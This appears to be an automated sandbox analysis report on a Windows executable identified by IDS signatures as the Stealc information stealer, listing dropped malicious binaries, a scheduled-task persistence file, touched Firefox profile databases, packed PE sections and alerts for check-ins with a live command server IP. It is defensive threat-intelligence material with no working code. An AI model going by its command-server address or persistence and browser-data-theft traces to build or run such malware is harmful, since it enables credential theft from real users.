File Type:	InnoSetup Log Alert Window, version 0x418, 3715 bytes, 061544\37\user, C:\Users\user\AppData\Local\376\377\3
Category:	modified
Size (bytes):	3715
Entropy (8bit):	3.772302314768198
Encrypted:	false
SSDEEP:	96:dVn44NWzpZn33FlCdfc1AGlEDA4MZAe2LAZHh2:zxYpZ36f7fDSmyHM
MD5:	D535DACD1B9B7D8DF41FC0DA43A4E4CD
SHA1:	546929C54EE0637459575EC6BB9C59CA86E37E51
SHA-256:	1D396078A470397CAC4AFC0D4D6BBBD0F56064ACC65DB457B41097FD147F645A
SHA-512:	355921CA68ADCD5A0B61E673BAE17F43A117977C6AD9F53345F4BE037CB77209FD8A50EA918B5AECDF6DBC5A78FEB89C2549E40D87BAF917E7BF4F9AE819BA5D
Malicious:	false
Preview:	Inno Setup Uninstall Log (b)....................................Alert Window....................................................................................................................Alert Window................................................................................................................................%....................................................................................................................H......................0.6.1.5.4.4......f.r.o.n.t.d.e.s.k......C.:.\.U.s.e.r.s.\.f.r.o.n.t.d.e.s.k.\.A.p.p.D.a.t.a.\.L.o.c.a.l....................... ..............IFPS...............................................................................................................................................................BOOLEAN..............TEXECWAIT.................!MAIN....-1..'...dll:kernel32.dll.GetCurrentProcess.......(...dll:kernel32.dll.TerminateProcess................ ...RESTARTINSTALLERWITHSILENTPARAMS....-1..EXPANDCONSTANT.....

C:\Users\user\AppData\Local\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1183089
Entropy (8bit):	6.366390963075317
Encrypted:	false
SSDEEP:	24576:kYwCLCUplZhgjXj8YcgoniqO3CBiO0jaS+EtjC67V5MNx9X+:fGUhni7iSFCQGM
MD5:	A6837B868F2058E91AAD605F9FDC67C6
SHA1:	A509D384AB39762DDA2DAFCA998F8910E035B364
SHA-256:	77C0125A8D22903148B96E6CCB75D955155867D4F66E5A291232F394FEFE6AAE
SHA-512:	EFA49EB4ED37A426045388530BED17564B0DA231443F89B874C3586B51BD5D7DA365B9964255E9854249DAF705BB033E3B693D8AB29F5C24CBFF1FA4E9EA80B5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...V..O..........................................@..............................................@...............................7......<...........................................................................X...x............................text...<........................... ..`.itext.............................. ..`.data..../.......0..................@....bss....pa...............................idata...7.......8..................@....tls....<............ ...................rdata............... ..............@..@.rsrc...<............"..............@..@....................................@..@........................................................................................................................................

C:\Users\user\AppData\Roaming\DelightfulCard.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2681808
Entropy (8bit):	6.902622471683207
Encrypted:	false
SSDEEP:	49152:pOAiK+31ytqeiF6cDVYVuSFbnJpxEqyIStLZoxKurA8UlgdNbt7Wf9rhhJrNM1yE:H01ytqeiF6AY5sqyHh+rAlhJrGjc+60T
MD5:	985FEF2B6872A1A94726DC3B7F1439DE
SHA1:	E221A5C4F2F222B665C932AB9B1F66189CEE3315
SHA-256:	78EF7EACFFABA55E653195FE37846375AEB51B164D80AD312AFDA54163DA0622
SHA-512:	41678A3E117CB83E7B99A65A6D0DDA86DB57AC0441D84CA817D6E04FA3751D4035215E8CD50BCD86B7232D1C28620103264F3A677AC14513D1FA0D977BA94F39
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...q?=g.Z..i%....&"...*.....V......0...............................................ce)...`... ......................................P..q....`...............@.............................................../..(................... k..P............................text....,..........................`..`.data........@.......2..............@....rdata..0....P.......6..............@..@.pdata.......@......................@..@.xdata..(=.......>..................@..@.bss.........@...........................edata..q....P......................@..@.idata.......`...0..................@....CRT....`............B..............@....tls.................D..............@....reloc...............F..............@..B........................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\is-4PJR3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2681808
Entropy (8bit):	6.902622471683207
Encrypted:	false
SSDEEP:	49152:pOAiK+31ytqeiF6cDVYVuSFbnJpxEqyIStLZoxKurA8UlgdNbt7Wf9rhhJrNM1yE:H01ytqeiF6AY5sqyHh+rAlhJrGjc+60T
MD5:	985FEF2B6872A1A94726DC3B7F1439DE
SHA1:	E221A5C4F2F222B665C932AB9B1F66189CEE3315
SHA-256:	78EF7EACFFABA55E653195FE37846375AEB51B164D80AD312AFDA54163DA0622
SHA-512:	41678A3E117CB83E7B99A65A6D0DDA86DB57AC0441D84CA817D6E04FA3751D4035215E8CD50BCD86B7232D1C28620103264F3A677AC14513D1FA0D977BA94F39
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...q?=g.Z..i%....&"...*.....V......0...............................................ce)...`... ......................................P..q....`...............@.............................................../..(................... k..P............................text....,..........................`..`.data........@.......2..............@....rdata..0....P.......6..............@..@.pdata.......@......................@..@.xdata..(=.......>..................@..@.bss.........@...........................edata..q....P......................@..@.idata.......`...0..................@....CRT....`............B..............@....tls.................D..............@....reloc...............F..............@..B........................................................................................................................................................................

C:\Users\user\DocumentsHCAEHJJKFC.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1927680
Entropy (8bit):	7.952173231018088
Encrypted:	false
SSDEEP:	49152:FWpKS5ThF8/65kDlsW+eN3hyN0T3VsPhGlhFr5:FWcSKUkDlsJ0q0lfr
MD5:	6AED281D1464E3A53839BBD9E7190535
SHA1:	8EA6E9EC2EB3970E0C361538FB6DBD074E5FA6C2
SHA-256:	A20ABE49E71912D860044FDF813C7FB90F32FDE51097DB4B689CAC9C8F7A9AC9
SHA-512:	3D3312DBC5D3537143F8EE75097E9DFA5A88C59B3D0079461A6878BA1AAFA232A131E8078DBF08D5E62BDD84F5833E900D4B8E0F37E80B3BBCAB996B725E5366
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................pL...........@...........................L.....f.....@.................................W...k.......H....................[L.............................t[L..................................................... . ............................@....rsrc...H...........................@....idata ............................@... .`+.........................@...fjmpujlc.P....2..L..................@...jlhbczjq.....`L......D..............@....taggant.0...pL.."...H..............@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsHCAEHJJKFC.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.4950177214406564
Encrypted:	false
SSDEEP:	6:/PqDZXUKJUEZ+lX1CGdKUe6tcVAkXIEZ8MlW8+y0lBwIct0:/PGlvJQ1CGAFMkXd8kX+VBwxt0
MD5:	91219561E9008CA190E565293140D200
SHA1:	28873D2734791AA978B4396E4B63F8EC5AF42E1D
SHA-256:	5610C412EDE1166D9750E05862AE49B292ADACD1BB61B2A8A2CFEF523CF3F250
SHA-512:	654AC7BE46933A1C81F0DC4853DA7EBEF3B2F2CF43E6D2A1742BAFEC01D23E5DDCFD5DD4E253B4A4497A2AE8613ACCBA446E8B89FDF9006B93BE092E215EE5DF
Malicious:	false
Preview:	....4Q{m..PC..@....F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0...................@3P.........................

Chrome Cache Entry: 465

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (763)
Category:	downloaded
Size (bytes):	769
Entropy (8bit):	5.16531036128572
Encrypted:	false
SSDEEP:	24:4yr/PkxBHslgT9lCuABuoB7HHHHHHHYqmffffffo:HPGKlgZ01BuSEqmffffffo
MD5:	71E764B247FB2197E2518B8579666AD4
SHA1:	66BA4F2460479C9354ECE88E404C758D73F8AD0A
SHA-256:	8C0B2801C1B46895DCC99FB7B5A21BD0BC52A721223196E54BCAAEE4CA1B2708
SHA-512:	A476185B95A0D6B624983D3986CA9F586BC6692B8BEE12B28E9089C230A4AFC0C26A56C0EA21D41087C1C3B0B6E94859FF7743F0FDD90E2644C55EFB71901E4B
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["kendra mcdaniel obituary","davis cup tennis","hyundai ioniq 9 electric suv","game awards nominees","nyt crossword clues","weather tornado warning","big lots closing stores","aim. leon dore porsche 993 turbo"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 466

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 467

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132965
Entropy (8bit):	5.434931820487003
Encrypted:	false
SSDEEP:	3072:fwkXyPqO7UX1Hme9kZbs4Voc5gSnXqwQ2i6o:fbyWFHrp4Voc5gSnawQ8o
MD5:	99E6F93A4852ADD3B27EF25EB1A479B3
SHA1:	597E068A5EA1C59F1D91E04369C8969192DF355B
SHA-256:	E87EB2E413122C636BD01D4C5E9B0F5889BFC2BAB32CCDC946AB694267033DB4
SHA-512:	751E4BA3BB230266FCEE42BEFEB9196A8976A51FCE83EAE11B6EA8634B629DECF00F13A4C6574B4AC53518B2183C4C9CEDB736CB433D325508857DCDA3C6DF1E
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 469

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 470

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9424675587364115
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'831'424 bytes
MD5:	685f2f3ccfb3958f91e4b8e865cd28d5
SHA1:	4f9a41e63353f568e1aa31dc9ed97e13c5804d22
SHA256:	945f5a2a5fe604802e4aadaa8ef136a11c9a0b89d1c8eff471cf2ddf355aefd4
SHA512:	558832974a3b971ba2fedd7b8ef4c0e579fe49ea54dba5109335cc53752d8d7a3eea51c9af133f0f19482a3ec8eac8b1f621532280212fbeabae0e9713148d7b
SSDEEP:	49152:iG0Mv/7Fzc/5RqGKySgGfUx6DRLb8RydoGhjCg7IPb:iTM37VmmGdGS6NLbeydDjLkP
TLSH:	E4853371F9374C0DCD7C643362AACCA6B7A92592949FCB494816F6378ED378C3C1A960
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa6000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F9598B1A8DAh

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	8b4e40e4e0e091107bb089e9ef3e9ae2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	8e3a059f54b43cc64e839791d6714595	False	0.580078125	data	4.560736349726339	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2b3000	0x200	f2fa0db8cc85cac05c5703732c6a74e1	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jgaxtykk	0x4ff000	0x1a6000	0x1a5200	b2cc59b4199153b183ff0b5742b42619	False	0.9946513709557733	data	7.953009389586694	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ffwfucdy	0x6a5000	0x1000	0x600	f21f8bb352dc5f691a52999cab44b01d	False	0.5559895833333334	data	4.857919868601784	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a6000	0x3000	0x2200	b1ecde3ff9b4715e3504d9938825fce0	False	0.05893841911764706	DOS executable (COM)	0.7644758069269322	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x6a3ef8	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-21T22:04:26.731964+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49722	185.215.113.206	80	TCP
2024-11-21T22:04:27.206422+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.7	49722	185.215.113.206	80	TCP
2024-11-21T22:04:27.330105+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.7	49722	TCP
2024-11-21T22:04:27.674253+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.7	49722	185.215.113.206	80	TCP
2024-11-21T22:04:27.805000+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.7	49722	TCP
2024-11-21T22:04:29.279507+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.7	49722	185.215.113.206	80	TCP
2024-11-21T22:04:30.007737+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49722	185.215.113.206	80	TCP
